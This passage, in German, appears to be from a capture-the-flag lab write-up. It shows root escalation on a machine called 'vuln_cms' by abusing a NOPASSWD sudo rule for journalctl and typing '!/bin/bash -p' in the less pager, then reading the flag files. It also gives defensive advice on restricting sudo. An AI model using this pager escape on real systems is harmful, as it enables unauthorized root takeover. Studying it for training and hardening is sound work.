Empfehlung (Defensiv): Benutzern nur die minimal notwendigen `sudo`-Rechte geben. Das Ausführen von Programmen, die eine Shell spawnen können (wie Pager, Editoren), sollte über `sudo` vermieden oder stark eingeschränkt werden (z.B. mit `sudoedit`).
Matching Defaults entries for tyrell on vuln_cms: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin User tyrell may run the following commands on vuln_cms: (root) NOPASSWD: /bin/journalctl
Analyse: Der Befehl `sudo -u root journalctl` wird ausgeführt. Innerhalb des Pagers (der die Logs anzeigt) wird dann der Befehl `!/bin/bash -p` eingegeben.
Bewertung: `journalctl` verwendet standardmäßig den Pager `less`. `less` erlaubt das Ausführen externer Befehle durch Eingabe von `!` gefolgt vom Befehl. Durch Ausführen von `!/bin/bash -p` wird eine Bash-Shell gestartet. Da `journalctl` via `sudo` als Root lief, erbt auch die daraus gestartete Shell die Root-Rechte (die `-p` Option hilft, Privilegien beizubehalten). Der Prompt wechselt zu `#`, was die Root-Shell bestätigt.
Ergebnis: Privilege Escalation erfolgreich! Durch Ausnutzen der `sudo`-Regel für `journalctl` wurden Root-Rechte erlangt.
Empfehlung (Offensiv): Die Root-Shell nutzen, um Flags zu lesen und das System zu untersuchen.
Empfehlung (Defensiv): Siehe vorherige Empfehlung zu `sudo`-Rechten für Pager/Editoren.
-- Logs begin at Fri 2021-05-28 12:16:41 UTC, end at Wed 2023-06-07 23:21:34 UTC [...] (Log Output)
Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.
Schwachstelle: Unsichere `sudoers`-Konfiguration, die dem Benutzer `tyrell` erlaubt, `/bin/journalctl` als Root ohne Passwort auszuführen.
Ziel des POC: Nachweis, dass diese Berechtigung ausgenutzt werden kann, um eine Root-Shell zu erhalten, indem die Pager-Funktionalität von `journalctl` missbraucht wird.
Voraussetzungen: Zugriff als Benutzer `tyrell`. Die fehlerhafte `sudoers`-Regel.
Analyse: Der Befehl `sudo -l` als `tyrell` zeigt die Regel `(root) NOPASSWD: /bin/journalctl`.
Analyse: Der Befehl `sudo -u root journalctl` wird ausgeführt. `journalctl` öffnet die Logs in einem Pager, standardmäßig `less`.
Bewertung: Der Pager `less` erlaubt das Ausführen von Shell-Befehlen durch Eingabe von `!` gefolgt vom Befehl. Da `journalctl` (und somit `less`) mit Root-Rechten läuft, wird auch der über `!` ausgeführte Befehl als Root ausgeführt.
Exploit: Innerhalb des `less`-Pagers wird `!/bin/bash -p` eingegeben und ausgeführt.
Ergebnis des POC: Eine interaktive Shell wird gestartet, die aufgrund des `sudo`-Kontexts mit Root-Rechten (`uid=0(root)`) läuft.
Risikobewertung: Hoch. Ermöglicht einem lokalen Benutzer mit dieser spezifischen `sudo`-Regel die vollständige Übernahme des Systems.
Empfehlung (Defensiv): `sudo`-Regeln sehr restriktiv gestalten. Vermeiden, Benutzern die Ausführung von Programmen zu erlauben, die Shell-Escapes ermöglichen (Pager, Editoren, Skript-Interpreter), insbesondere mit `NOPASSWD`. Wenn solche Programme erlaubt werden müssen, sicherstellen, dass sie in einem eingeschränkten Modus laufen (z.B. `sudoedit` statt `sudo vi`, oder Pager mit deaktivierter Escape-Funktion).
Analyse: In der erlangten Root-Shell wird nach `root.txt` gesucht und diese ausgelesen. Anschließend wird `user.txt` im Home-Verzeichnis von `elliot` (nicht `tyrell` oder `ghost`) gelesen.
Bewertung: Beide Flags werden erfolgreich gefunden und extrahiert.
/root/root.txt